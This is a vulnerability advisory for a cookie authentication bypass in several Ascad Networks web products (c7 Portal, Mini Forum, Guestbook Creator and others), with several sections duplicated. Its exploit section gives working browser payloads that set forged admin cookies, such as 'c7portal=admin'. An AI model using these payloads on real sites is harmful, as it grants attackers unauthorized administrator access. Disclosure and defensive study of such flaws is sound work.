Multiple Ascad Networks Products Cookie Authentication Bypass Vulnerability
BID:34930
Info
Multiple Ascad Networks Products Cookie Authentication Bypass Vulnerability
| Bugtraq ID: | 34930 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 13 2009 12:00AM |
| Updated: | May 14 2009 05:36PM |
| Credit: | Mr.tro0oqy and G4N0K |
| Vulnerable: |
Ascad Networks Password Protector SD 1.3.1 Ascad Networks Mini Forum 1.0.1 Ascad Networks Guestbook Creator 1.5 Ascad Networks Form Processor Gold 0 Ascad Networks c7 Portal 1.1 |
| Not Vulnerable: | |
Discussion
Multiple Ascad Networks Products Cookie Authentication Bypass Vulnerability
Multiple Ascad Networks products are prone to an authentication-bypass vulnerability because they fail to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain unauthorized administrator access to the affected applications, which may aid in further attacks.
The following are vulnerable:
c7 Portal 1.1.0
Form Processor Gold
Password Protector SD
Guestbook Creator v1.5
Mini Forum v1.0.1
Multiple Ascad Networks products are prone to an authentication-bypass vulnerability because they fail to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain unauthorized administrator access to the affected applications, which may aid in further attacks.
The following are vulnerable:
c7 Portal 1.1.0
Form Processor Gold
Password Protector SD
Guestbook Creator v1.5
Mini Forum v1.0.1
Exploit / POC
Multiple Ascad Networks Products Cookie Authentication Bypass Vulnerability
Attackers can exploit this issue via a browser.
The following example data is available:
For c7 Portal:
javascript:document.cookie = "c7portal=admin";
For Password Protector SD:
javascript:document.cookie = "c7portal=admin";
javascript:document.cookie="c7portal=admin;path=/";
javascript:document.cookie="cookname=admin;path=/";
For Form Processor Gold:
javascript:document.cookie = "FormProGold=in";
For Guestbook Creator:
javascript:document.cookie = "ascadnetworks_gbook_admin=in";
For Mini Forum:
javascript:document.cookie = "admf=admin";
Attackers can exploit this issue via a browser.
The following example data is available:
For c7 Portal:
javascript:document.cookie = "c7portal=admin";
For Password Protector SD:
javascript:document.cookie = "c7portal=admin";
javascript:document.cookie="c7portal=admin;path=/";
javascript:document.cookie="cookname=admin;path=/";
For Form Processor Gold:
javascript:document.cookie = "FormProGold=in";
For Guestbook Creator:
javascript:document.cookie = "ascadnetworks_gbook_admin=in";
For Mini Forum:
javascript:document.cookie = "admf=admin";
Solution / Fix
Multiple Ascad Networks Products Cookie Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Multiple Ascad Networks Products Cookie Authentication Bypass Vulnerability
References:
References:
- Ascad Networks Homepage (Ascad Networks)
- Password Protector SD Homepage (Ascad Networks)